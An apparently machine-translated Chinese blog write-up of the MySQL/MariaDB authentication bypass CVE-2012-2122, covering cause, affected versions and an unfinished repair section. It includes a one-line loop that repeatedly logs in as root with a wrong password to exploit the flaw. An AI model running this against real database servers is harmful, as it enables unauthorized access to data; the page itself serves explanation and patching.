当前位置:网站首页>MySQL authentication bypass vulnerability (cve-2012-2122)
MySQL authentication bypass vulnerability (cve-2012-2122)
2022-07-06 22:39:00 【OOOOOK. two thousand and twenty-one】
Vulnerability profile
When the connection MariaDB/MySQL when , The password entered will be compared with the expected correct password , Due to improper handling , Can lead to even memcmp () Returns a nonzero value , Also can make MySQL Think two passwords are the same . That is to say, as long as you know the user name , Try again and again to log in directly SQL database .
Affected version
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. MySQL
- versions from 5.1.63, 5.5.24, 5.6.6 are not.
Reasons for appearance
This vulnerability is due to memcmp Function only returns -128 To 127 Values in range , Optimized on some platforms , Cause even memcmp() Returns a nonzero value , Also can make MySQL Think two passwords are the same . about 256 You can succeed once .
Loophole recurrence
Scan open ports

use MSF attack



EXP
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
Repair
upgrade MySQL edition ,( Those lower than the following versions must be upgraded to the latest version :5.0 Version below 5.0.96;5.1 Version below 5.1.63;5.5 Version below 5.5.25) stop it mysql, Back up the entire mysql, The installation directory ,data Catalog ( This step is only to prevent escalation
边栏推荐
- Sizeof keyword
- 【无标题】
- Machine test question 1
- Config:invalid signature solution and troubleshooting details
- 如何用程序确认当前系统的存储模式?
- Balanced Multimodal Learning via On-the-fly Gradient Modulation(CVPR2022 oral)
- SQL server generates auto increment sequence number
- return 关键字
- How do I write Flask's excellent debug log message to a file in production?
- 网络基础入门理解
猜你喜欢
随机推荐
软考高级(信息系统项目管理师)高频考点:项目质量管理
Unity3d minigame unity webgl transform plug-in converts wechat games to use dlopen, you need to use embedded 's problem
OpenSSL:适用TLS与SSL协议的全功能工具包,通用加密库
如何用程序确认当前系统的存储模式?
memcached
Aardio - 通过变量名将变量值整合到一串文本中
HDU 5077 NAND (violent tabulation)
Mysql 身份认证绕过漏洞(CVE-2012-2122)
hdu 5077 NAND(暴力打表)
Config:invalid signature solution and troubleshooting details
关于声子和热输运计算中BORN电荷和non-analytic修正的问题
Slide the uniapp to a certain height and fix an element to the top effect demo (organize)
View
three.js绚烂的气泡效果
Puppeteer连接已有Chrome浏览器
Puppeter connects to the existing Chrome browser
Aardio - 利用customPlus库+plus构造一个多按钮组件
General implementation and encapsulation of go diversified timing tasks
uniapp设置背景图效果demo(整理)
Aardio - does not declare the method of directly passing float values








